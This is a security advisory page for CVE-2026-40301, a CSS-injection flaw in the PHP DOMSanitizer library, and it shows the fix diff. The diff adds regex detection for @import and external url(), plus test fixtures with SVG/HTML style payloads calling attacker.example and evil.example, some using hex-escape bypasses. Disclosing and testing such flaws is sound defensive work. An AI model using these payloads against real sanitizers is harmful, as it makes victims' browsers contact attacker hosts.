VYPR
Medium severity4.7NVD Advisory· Published Apr 17, 2026· Updated Apr 29, 2026

CVE-2026-40301

CVE-2026-40301

Description

DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
rhukster/dom-sanitizerPackagist
< 1.0.101.0.10

Affected products

2

Patches

1
49a98046b708

fix for CSS injection via SVG/HTML <style> text content (GHSA-93vf-569f-22cq)

https://github.com/rhukster/dom-sanitizerAndy MillerApr 10, 2026via ghsa
2 files changed · +132 1
  • src/DOMSanitizer.php+44 1 modified
    @@ -111,7 +111,12 @@ public function sanitize(string $dom_content, array $options = []): string
             for($i = $elements->length; --$i >= 0;) {
                 $element = $elements->item($i);
                 $tag_name = $element->tagName;
    -            if(in_array(strtolower($tag_name), $tags)) {
    +            $tag_name_lower = strtolower($tag_name);
    +            if(in_array($tag_name_lower, $tags)) {
    +                if ($tag_name_lower === 'style' && $this->hasDangerousStyleContent($element->textContent)) {
    +                    $element->parentNode->removeChild($element);
    +                    continue;
    +                }
                     for($j = $element->attributes->length; --$j >= 0;) {
                         $attr_name = $element->attributes->item($j)->name;
                         $attr_value = $element->attributes->item($j)->textContent;
    @@ -327,6 +332,44 @@ protected function isDangerousUrl(string $attr_name, string $attr_value): bool
             return false;
         }
     
    +    /**
    +     * Determines if a <style> element's text content contains CSS that would
    +     * cause the browser to fetch external resources: @import rules, url()
    +     * references to external schemes (http, https, ftp, protocol-relative,
    +     * data:), or legacy IE expression(). CSS hex escapes (\hh ) are decoded
    +     * first so escape-based bypasses are caught (GHSA-93vf-569f-22cq).
    +     * Fragment references like url(#gradient) are preserved.
    +     *
    +     * @param string $css
    +     * @return bool
    +     */
    +    protected function hasDangerousStyleContent(string $css): bool
    +    {
    +        $normalized = preg_replace_callback(
    +            '/\\\\([0-9a-fA-F]{1,6})[ \t\n\r\f]?/',
    +            function ($m) {
    +                $code = hexdec($m[1]);
    +                if ($code <= 0 || $code > 0x10FFFF) {
    +                    return '';
    +                }
    +                return mb_chr($code, 'UTF-8') ?: '';
    +            },
    +            $css
    +        );
    +        $normalized = preg_replace('/\\\\([^0-9a-fA-F\r\n\f])/', '$1', $normalized);
    +
    +        if (preg_match('/@import\b/i', $normalized)) {
    +            return true;
    +        }
    +        if (preg_match('/url\s*\(\s*["\']?\s*(?:https?:|ftp:|\/\/|data:)/i', $normalized)) {
    +            return true;
    +        }
    +        if (preg_match('/expression\s*\(/i', $normalized)) {
    +            return true;
    +        }
    +        return false;
    +    }
    +
         /**
          * Does various regex cleanup
          *
    
  • tests/DomSanitizerTest.php+88 0 modified
    @@ -455,6 +455,94 @@ public static function providerWhitespaceEntityBypass(): array
             ];
         }
     
    +    // =========================================================================
    +    // GHSA-93vf-569f-22cq: CSS injection via <style> text content
    +    // =========================================================================
    +
    +    /**
    +     * @dataProvider providerDangerousStyleContent
    +     */
    +    public function testDangerousStyleContentStripped(int $mode, string $input, string $description): void
    +    {
    +        $sanitizer = new DOMSanitizer($mode);
    +        $output = $sanitizer->sanitize($input);
    +
    +        $this->assertStringNotContainsString('attacker.example', $output, "Failed: $description");
    +        $this->assertStringNotContainsString('evil.example', $output, "Failed: $description");
    +        $this->assertStringNotContainsString('@import', $output, "Failed: $description");
    +    }
    +
    +    public static function providerDangerousStyleContent(): array
    +    {
    +        return [
    +            [
    +                DOMSanitizer::SVG,
    +                '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url("https://attacker.example/c"); }</style></svg>',
    +                'SVG <style> with quoted external url() should be dropped',
    +            ],
    +            [
    +                DOMSanitizer::SVG,
    +                '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/c); }</style></svg>',
    +                'SVG <style> with unquoted external url() should be dropped',
    +            ],
    +            [
    +                DOMSanitizer::SVG,
    +                '<svg xmlns="http://www.w3.org/2000/svg"><style>@import url(https://attacker.example/evil.css);</style></svg>',
    +                'SVG <style> with @import url() should be dropped',
    +            ],
    +            [
    +                DOMSanitizer::SVG,
    +                '<svg xmlns="http://www.w3.org/2000/svg"><style>@import "https://attacker.example/evil.css";</style></svg>',
    +                'SVG <style> with quoted @import should be dropped',
    +            ],
    +            [
    +                DOMSanitizer::SVG,
    +                '<svg xmlns="http://www.w3.org/2000/svg"><style>body { background: url(//evil.example/x); }</style></svg>',
    +                'SVG <style> with protocol-relative url() should be dropped',
    +            ],
    +            [
    +                DOMSanitizer::SVG,
    +                '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: \75 rl(https://attacker.example/x); }</style></svg>',
    +                'SVG <style> with CSS hex-escape bypass should be dropped',
    +            ],
    +            [
    +                DOMSanitizer::SVG,
    +                '<svg xmlns="http://www.w3.org/2000/svg"><style>\40 import url(https://evil.example/e.css);</style></svg>',
    +                'SVG <style> with CSS hex-escaped @import should be dropped',
    +            ],
    +            [
    +                DOMSanitizer::HTML,
    +                '<div><style>body { background: url(https://attacker.example/x); }</style></div>',
    +                'HTML <style> with external url() should be dropped',
    +            ],
    +        ];
    +    }
    +
    +    /**
    +     * Legitimate <style> content must survive sanitization, including
    +     * fragment-only url(#id) references used by SVG defs/gradients/filters.
    +     */
    +    public function testLegitimateStyleContentPreserved(): void
    +    {
    +        $sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
    +
    +        $fragment = '<svg xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="g"/></defs><style>.cls { fill: url(#g); stroke: #000; }</style><rect class="cls"/></svg>';
    +        $output = $sanitizer->sanitize($fragment);
    +        $this->assertStringContainsString('<style>', $output, 'Fragment url(#id) style block must be preserved');
    +        $this->assertStringContainsString('url(#g)', $output, 'Fragment reference must be preserved');
    +
    +        $plain = '<svg xmlns="http://www.w3.org/2000/svg"><style>.a { fill: red; stroke: #00f; font-family: sans-serif; }</style><rect class="a"/></svg>';
    +        $output = $sanitizer->sanitize($plain);
    +        $this->assertStringContainsString('<style>', $output, 'Plain style rules must be preserved');
    +        $this->assertStringContainsString('fill: red', $output, 'Plain style rules must be preserved');
    +
    +        $htmlSanitizer = new DOMSanitizer(DOMSanitizer::HTML);
    +        $html = '<div><style>.foo { color: red; }</style><p>ok</p></div>';
    +        $output = $htmlSanitizer->sanitize($html);
    +        $this->assertStringContainsString('<style>', $output, 'HTML plain style rules must be preserved');
    +        $this->assertStringContainsString('color: red', $output, 'HTML plain style rules must be preserved');
    +    }
    +
         protected function assertEqualHtml($expected, $actual, $message = '')
         {
             $from = ['/\>[^\S ]+/s', '/[^\S ]+\</s', '/(\s)+/s', '/> </s'];
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

5

News mentions

0

No linked articles in our index yet.